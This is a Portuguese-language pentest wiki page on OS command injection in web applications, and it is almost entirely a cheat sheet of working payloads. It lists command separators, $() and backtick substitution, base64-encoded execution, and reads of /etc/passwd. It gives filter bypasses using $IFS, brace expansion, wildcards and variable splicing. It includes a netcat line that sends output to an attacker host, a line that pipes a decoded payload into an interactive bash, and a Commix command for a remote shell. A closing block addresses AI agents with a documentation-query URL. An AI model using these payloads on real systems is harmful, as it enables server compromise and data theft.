# Command Injection

Assim como vários outros tipos de injections, este também executa comandos porém diretamente no SO através de uma aplicação web.<br>

### Inserindo Comandos

Quando a aplicação web nos permite inserir alguma string e este vira um comando no SO, podemos adicionar um dos caracteres `;`, `|`, `||`, `&`, `&&`, `%0a`, `\n` e `0x0a` (esse dois último servem para dar uma quebra de linha) para inserir comandos arbitrários. Por exemplo:

```bash
pwd ; ls
pwd | ls
pwd || ls
pwd & ls
pwd && ls
pwd %0a ls
pwd \n ls
pwd 0x0a ls
```

Deixando esse ataque um pouco mais avançado, podemos canalizar a saída para nosso host através do netcat.

```bash
# Atacante
nc -vlp <port>

# Alvo
; ls -la | nc <ip_hacker> <port>
```

Podemos também inserir comandos sem precisar dividí-lo em vários comandos. Para isso use um dos exemplos abaixo:

```bash
`<command>`
$(<command>)

# Os dois comandos abaixo perdem a funcionalidade quando tem um por exemplo um "echo" antes
'<command>'
"<command>"

# Atribuindo valor a variável
MYVAR=MyValue <command>
```

Há também como codificar em base64 e executar

```bash
$(echo <comando_em_base64> | base64 -d)
```

**OBS.:** Caso não queira executar os dois comandos, escreva tudo em uma só linha, irá dar um erro de sintaxe, porém irá conseguir executar os comandos, exemplo:

```bash
ping <ip> -c1 $(cat /etc/passwd)
```

###

### Bypass em Qualquer Caractere Alfanumérico

Podemos substituir qualquer caractere alfanumérico substituindo por `?`. Por exemplo, o comando `cat /etc/passwd` ficará `cat /??c/p?ss??`, `/bin/bash` ficará `/??n/ba??`. Coloque a `?` onde quiser, desde que não coincida com dois ou mais arquivos compatíveis com a mesma expressão regular.

###

### Bypass com Espaço

Algumas aplicações podem bloquear o caractere de espaço mas podemos contornar isso utilizando o `IFS (Internal Field Separator)`, que é uma variável de ambiente de espaço

```bash
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{echo,bXlzdGhlcgo=}|{base64,-d}
{ls,-lha,/etc/passwd}
{cat,/etc/pas?w?}
bash${IFS}-c${IFS}"{echo,aWQK}|{base64,-d}|{bash,-i}"
{bash,-c,id}
```

Também podemos fazer de outra maneira, utilizando no mínimo dois comandos, como nos exemplos abaixo:

```bash
{echo,i,am,mysther}
{ls,-lha}
{cat,/etc/passwd}
```

O Linux também permite chamar um determinado comando a passar o nome do arquivo para ele, como nos exemplos abaixo

```bash
cat</etc/passwd
cat<$x$x/$x$x/$x$x/$x$x/etc/passwd
IFS=,;`cat<<<cat,/etc/passwd`
```

Criando variáveis que contém partes de um comando e depois executando, também pode ser uma boa maneira de executar códigos

```bash
c=cat
a=/et
Z=c
a=$a$Z
Z=/
a=$a$Z
Z=p
a=$a$Z
Z=a
a=$a$Z
Z=s
a=$a$Z
a=$a$Z
Z=w
a=$a$Z
Z=d
a=$a$Z
$c<$a
```

###

### Commix

Commix é uma ferramenta que gera uma shell, baseando em uma URL que permite inserir comandos no SO.\
Utilize o comando abaixo para ter um shell do servidor alvo:

```bash
python commix.py -u http://sitevulneravel/vulnerabilities/ --data="ip=INJECTION_HERE&submit=submit" --cookie="<cookie>"
```

Observe que o parâmetro `ip` está com o valor `INJECTION HERE`, pois é neste campo que o Commix irá utilizar para inserir o payload para fazer a shell remota.

####

#### Sites

```bash
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
